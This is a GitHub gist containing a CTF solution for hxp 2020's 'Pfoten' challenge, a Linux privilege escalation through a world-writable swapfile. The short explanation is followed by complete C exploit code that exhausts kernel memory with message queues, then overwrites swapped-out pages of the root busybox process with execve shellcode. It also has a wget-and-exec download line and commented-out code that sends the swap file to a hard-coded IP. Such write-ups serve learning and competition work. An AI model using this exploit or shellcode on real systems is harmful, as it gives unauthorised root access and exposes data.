Skip to content

Instantly share code, notes, and snippets.

@disconnect3d
Last active December 21, 2020 21:05
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save disconnect3d/2d644e406221c9b37462e2fc98265e1b to your computer and use it in GitHub Desktop.
Save disconnect3d/2d644e406221c9b37462e2fc98265e1b to your computer and use it in GitHub Desktop.
Pfoten chall solution from hxp 2020 ctf; tl;dr: swap was RW and we had to get privesc through it (we swapped out the pid=1 busybox page; ofc its not super deterministic so we kinda brute this)

1) Linux with globally read & write swapfile There was a minimal linux kernel with not many features in the task and we had a non-privileged shell in it. The init script, which ran busybox, enabled swap, but the swapfile permissions allowed others to read/write it. The init then launched a non-user (uid=1) shell (so, another busybox). The flag file was owned and only readable by root. There was ~80MB of ram and 10MB of swap.

Ofc first idea is "force kernel to read the flag file and swap it" and then read it - but I don't think it is possible. Another idea: make privilege escalation through writable swapfile.

So how do you do it? Kernel memory pages can't be swapped, so you allocate a lot memory in kernel space to fill in available memory and force kernel to swap the init process memory pages. You can allocate kernel memory with its ipc framework available for userspace. You do msgsend(msgget(..)) and each call allows you to allocate ~4kB and you can do 32000 such allocations (usually, depends on sysctl config).

Then, after some allocations, when the kernel may swap something, you monitor the swapfile for bytes from the busybox binary (as init/pid=1/uid=0 process runs busybox), which would be executed after your userspace process exits. Then, if those bytes appear in the swapfile - you overwrite them, with a execve(sh) shellcode and exit your binary.

Also:

  • We could only download files to /tmp which lives in ram and could be swapped - so we remove the binary just after launching it (and pray it can't be swapped afterwards) via unlink(/tmp/a.out)
  • Since we initially have a busybox shell with uid=1 (non-root) we also don't want this process to be swapped: to prevent this, instead of spawning our "payload process" via ./a.out we do exec a.out 😄 `
  • Not used in my solution, but you can also mlock(addr, size) to pin memory to NOT be swapped and there is mlockall(CURRENT), to pin ALL already allocated maps, and mlockall(FUTURE), to pin all future allocations. However, there is a limit of memory which a non-privileged process (actually, one without a specific linux capability) can mlock, and iirc it was quite small (~16kB?).
// move the process to target environment by:
// cd /tmp && wget <url>/a.out && chmod a+x a.out && exec a.out
// its important to use exec so we are not a child of a process with uid=1 but we become child of busybox pid=1 uid=0 process
// we also remove the /tmp/a.out so that it won't be swapped
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <sys/mman.h>
#include <netdb.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/ipc.h>
#include <sys/msg.h>
unsigned char ida_chars[] =
{
0x85, 0xC0, 0x89, 0xC3, 0x7E,
0xBE, 0x89, 0xC7, 0x41, 0xBC, 0x01, 0x00, 0x00, 0x00, 0xE8,
0x02, 0xF5, 0xFF, 0xFF, 0x48, 0x85, 0xC0, 0x74, 0xDC, 0x48,
0x8D, 0x50, 0x2D, 0x89, 0xD9, 0xBE, 0x17, 0x2B, 0x50, 0x00,
0xBF, 0x01, 0x00, 0x00, 0x00, 0x31, 0xC0, 0xE8, 0x7C, 0xF5,
0xFF, 0xFF, 0xEB, 0xC3
};
unsigned char shellcode[] = {106, 104, 72, 184, 47, 98, 105, 110, 47, 47, 47, 115, 80, 72, 137, 231, 104, 114, 105, 1, 1, 129, 52, 36, 1, 1, 1, 1, 49, 246, 86, 106, 8, 94, 72, 1, 230, 86, 72, 137, 230, 49, 210, 106, 59, 88, 15, 5};
int limit = 0;
struct sockaddr_in servaddr = {0};
void alloc_kernel() {
#define BUFF_SIZE 4048
struct {
long mtype;
char mtext[BUFF_SIZE];
} msg;
memset(msg.mtext, 0x42, BUFF_SIZE-1);
msg.mtext[BUFF_SIZE] = 0;
msg.mtype = 1;
int msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT);
if (msqid < 0) { printf("FAILED on %d\n", limit); exit(0); }
msgsnd(msqid, &msg, sizeof(msg.mtext), 0);
limit += 1;
}
#define SWAPSIZE 10485760
// The `sendme` function was used initially to send the whole SWAPFILE to myself,
// as we could not read it e.g. via `cat` or by printing its hexdump from this process
// We needed that in order to see if something was swapped as we couldn't use `free` shell program
// because the low memory/swapping halted the whole system :P
void sendme(char* x) {
/*
int sockfd = socket(AF_INET, SOCK_STREAM, 0);
printf("sockfd=%d\n", sockfd);
if (sockfd == -1) { exit(1); }
int connres = connect(sockfd, &servaddr, sizeof(servaddr));
printf("connect=%d\n", connres);
if (connres == -1) { exit(1); }
ssize_t written = write(sockfd, x, SWAPSIZE);
printf("written = %ld\n", written);
close(sockfd);
*/
}
int main(int argc, char* argv[]) {
servaddr.sin_family = AF_INET;
//servaddr.sin_addr.s_addr = inet_addr("159.89.110.62"); //inet_addr("192.168.143.180");
//servaddr.sin_port = htons(1338);
servaddr.sin_addr.s_addr = inet_addr("192.168.143.180");
servaddr.sin_port = htons(4444);
int rrr = unlink("/tmp/a.out");
printf("unlink /tmp/a.out = %d\n", rrr);
if (rrr != 0) return -2;
int fd = open("/swap", O_RDWR, 0);
printf("fd=%d\n", fd);
char* x = mmap(0, SWAPSIZE, PROT_WRITE|PROT_READ, MAP_SHARED, fd, 0);
printf("Mmaped swap=%p\n", x);
sendme(x);
puts("sent");
puts("Alloc!");
for(int i=0; i<(10780-700-350); ++i) { //-100-975); ++i) {
alloc_kernel();
if (i%1000==0) { printf("i=%d\n", i); } //sleep(1); }
//system("free");
}
puts("Done!");
sendme(x);
char* p = 0;
for(int i=0; i<1000; ++i) {
p = memmem(x, SWAPSIZE, ida_chars, sizeof(ida_chars));
if (!p) {
puts("NOT FOUND");
alloc_kernel();
continue;
//return -1;
}
memcpy(p, shellcode, sizeof(shellcode));
puts("COPIED");
return 0;
}
return 0;
/*
#define SX (1024*1024*12)
char* x = mmap(0, SX, PROT_WRITE|PROT_READ, MAP_ANONYMOUS|MAP_PRIVATE, 0, 0);
printf("Big chunk %p\n", x);
puts("Printing");
int fd = open("/swap", O_RDWR, 0);
printf("fd=%d\n", fd);
int zeros = 1;
int until_newline = 32;
ssize_t all_read = 0;
while (1) {
ssize_t n = read(fd, x+all_read, 1024);
//printf("Read n=%ld\n", n);
if (n <= 0) break;
all_read += n;
}
close(fd);
int sockfd = socket(AF_INET, SOCK_STREAM, 0);
if (sockfd == -1) { puts("SOCKET"); return -1; }
struct sockaddr_in servaddr = {0};
servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr = inet_addr("192.168.143.180");
servaddr.sin_port = htons(4444);
int connres = connect(sockfd, &servaddr, sizeof(servaddr));
if (connres == -1) { puts("CONNECT"); return -1; }
ssize_t written = write(sockfd, x, all_read);
printf("written = %ld, all_read = %ld\n", written, all_read);
close(sockfd);
//*/
}
/*
int res = mlockall(MCL_CURRENT);
printf("mlockall MCL_CURRENT=%d\n", res);
res = mlockall(MCL_FUTURE);
printf("mlockall MCL_FUTURE=%d\n", res);
*/
/*
int res = mlockall(MCL_FUTURE);
printf("mlockall MCL_FUTURE=%d\n", res);
#define SX (1024*1024*41)
#define SY (1024*1024*2)
#define SZ (1024*(256+105))
for(int i=0; i<(SX+SY+SZ); i += 1024) {
char* p = mmap(0, 1024, PROT_WRITE|PROT_READ, MAP_ANONYMOUS|MAP_PRIVATE, 0, 0);
printf("i=%d p=%p\n", i, p);
if (p == -1) { sleep(5000); return -2; }
}
char* x = mmap(0, SX, PROT_WRITE|PROT_READ, MAP_ANONYMOUS|MAP_PRIVATE, 0, 0);
printf("Big chunk %p\n", x);
char* y = mmap(0, SY, PROT_WRITE|PROT_READ, MAP_ANONYMOUS|MAP_PRIVATE, 0, 0);
printf("Big chunk %p\n", y);
char* z = mmap(0, SZ, PROT_WRITE|PROT_READ, MAP_ANONYMOUS|MAP_PRIVATE, 0, 0);
printf("Big chunk %p\n", z);
for(int i=0; i<SX; i+=4096) x[i] = 0x41;
for(int i=0; i<SY; i+=4096) x[i] = 0x42;
for(int i=0; i<SZ; i+=4096) x[i] = 0x43;
*/
/*
#define NEEDLE "ELF\x7b"
char* p = memmem(buf, sizeof(buf), NEEDLE, sizeof(NEEDLE));
if (p) {
printf("FOUND at %ld\n", all_read);
}
return 0;
//*/
/*
if (!x) return -1;
int N = atoi(argv[1]);
for (int jj=0; jj<N; ++jj) {
#define SIZE (4096)
char* p = mmap(0, SIZE, PROT_WRITE|PROT_READ, MAP_ANONYMOUS|MAP_PRIVATE, 0, 0);
printf("jj=%d p=%p\n", jj, p);
if (!p) return 1;
for(int i=0; i<SIZE; i++) {
p[i] = 0x41;
}
system("free");
int fd = open("/swap", O_RDWR, 0);
printf("fd=%d\n", fd);
ssize_t all_read = 0;
while (1) {
ssize_t n = read(fd, x+all_read, 1024);
if (n <= 0) break;
all_read += n;
#define NEEDLE "ELF\x7b"
char* p = memmem(buf, sizeof(buf), NEEDLE, sizeof(NEEDLE));
if (p) {
printf("FOUND at %ld\n", all_read);
}
}
printf("All read: %ld\n", all_read);
close(fd);
}
*/
//int sleep_s = atoi(argv[2]);
//if (sleep_s) {
// sleep(sleep_s);
//}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment